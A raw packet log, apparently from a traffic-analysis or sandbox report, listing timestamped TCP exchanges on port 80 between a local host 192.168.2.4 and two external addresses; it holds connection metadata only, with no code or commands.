Oct 26, 2024 05:55:10.724483013 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.724504948 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.724519014 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.724533081 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.724540949 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.724566936 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.724574089 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.724605083 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.724620104 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.724641085 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.724646091 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.724682093 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.724699020 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.724730015 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.724740982 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.724771023 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.724781036 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.724816084 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.724822998 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.724849939 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.724855900 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.724885941 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.724890947 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.724924088 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.724931002 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.724960089 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.724972010 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.725003004 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.725033045 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.725085020 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.725090027 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.725119114 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.725130081 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.725159883 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.725188017 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.725241899 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.725248098 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.725275040 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.725281000 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.725311041 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.725316048 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.725354910 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.725409985 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.725455046 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.725461960 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.725497961 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.725507021 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.725539923 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.725580931 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.725614071 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.725622892 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.725649118 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.725656033 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.725684881 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.725687027 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.725725889 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.736484051 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.736515045 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.736543894 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.736598015 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.736609936 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.736649036 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.736665964 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.736679077 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.736695051 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.736726046 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.736730099 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.736764908 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.736778975 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.736813068 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.736815929 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.736850977 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.736861944 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.736886024 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.736893892 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.736931086 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.736982107 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.737032890 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.737035990 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.737067938 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.737085104 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.737107992 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.737164974 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.737210035 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.737250090 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.737282991 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.737298965 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.737323046 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.737394094 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.737426996 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.737447023 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.737459898 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.737462997 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.737513065 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.737530947 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.737565041 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.737580061 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.737607002 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.737807035 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.737839937 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.737858057 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.737878084 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.737879992 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.737912893 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.737926006 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.737962008 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.777578115 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.777609110 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.777661085 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.777664900 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.777693987 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.777695894 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.777724028 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.777743101 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.880992889 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.881031990 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.881073952 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.881086111 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.881088018 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.881122112 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.881139040 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.881158113 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.881162882 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.881194115 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.881252050 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.881282091 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.881295919 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.881321907 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.881335020 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.881371021 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.881378889 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.881411076 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.881428003 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.881458044 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.881469965 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.881496906 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.881506920 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.881541967 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.881556988 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.881576061 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.881578922 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.881611109 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.881612062 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.881655931 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.881737947 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.881800890 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.881824970 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.881865978 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.881879091 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.881926060 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.881927967 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.881962061 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.881967068 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.882004023 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.882030964 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.882081985 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.882081985 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.882116079 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.882123947 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.882152081 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.882153988 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.882191896 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.882220030 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.882265091 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.882286072 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.882318020 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.882320881 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.882359982 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.882427931 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.882461071 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.882479906 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.882498980 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:10.882500887 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.882536888 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:10.892299891 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.892334938 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.892359972 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.892370939 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.892379045 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.892402887 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.892410994 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.892437935 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.892457008 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.892508030 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.892508030 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.892544985 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.892559052 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.892577887 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.892585039 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.892613888 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.892690897 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.892719984 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.892744064 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.892751932 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.892754078 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.892803907 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.892817020 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.892849922 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.892859936 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.892884970 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.892894030 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.892925024 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.893003941 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.893070936 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.893095016 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.893129110 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.893146992 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.893172026 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.893193960 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.893228054 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.893240929 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.893260956 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.893265963 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.893342018 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.893440008 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.893491983 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.893508911 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.893542051 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.893558025 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.893574953 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.893579006 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.893625975 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.933367968 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.933429956 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.933465958 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.933470011 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.933489084 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.933506012 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:10.933510065 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:10.933548927 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.037902117 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.037940025 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.037993908 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.038014889 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.038069010 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.038119078 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.038142920 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.038177967 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.038186073 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.038216114 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.038218975 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.038258076 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.038260937 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.038306952 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.038326979 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.038356066 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.038367987 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.038388968 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.038414955 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.038439035 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.038472891 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.038506031 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.038516045 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.038546085 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.038574934 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.038606882 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.038618088 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.038650990 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.038780928 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.038832903 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.038837910 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.038866997 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.038877964 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.038908958 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.038954020 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.038988113 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.038994074 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.039021969 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.039026976 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.039061069 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.039067030 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.039098024 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.039105892 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.039129019 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.039144993 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.039163113 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.039378881 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.039413929 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.039431095 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.039454937 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.039499044 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.039531946 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.039542913 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.039566040 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.039572954 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.039607048 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.039659023 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:11.039700031 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:11.047499895 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.047528982 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.047559023 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.047564983 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.047581911 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.047606945 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.047619104 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.047646999 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.047668934 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.047691107 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.047730923 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.047759056 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.047779083 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.047791958 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.047804117 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.047837973 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.047871113 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.047903061 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.047920942 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.048085928 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.048113108 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.048141956 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.048170090 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.048177004 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.048198938 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.048227072 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.048229933 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.048263073 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.048285961 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.048309088 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.048327923 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.048378944 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.048379898 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.048412085 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.048423052 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.048455000 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.048475981 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.048521042 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.048527956 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.048557043 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.048569918 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.048593044 CEST	49803	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:11.048733950 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.048785925 CEST	80	49803	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:11.048788071 CEST	49803	80	192.168.2.4	185.215.113.16
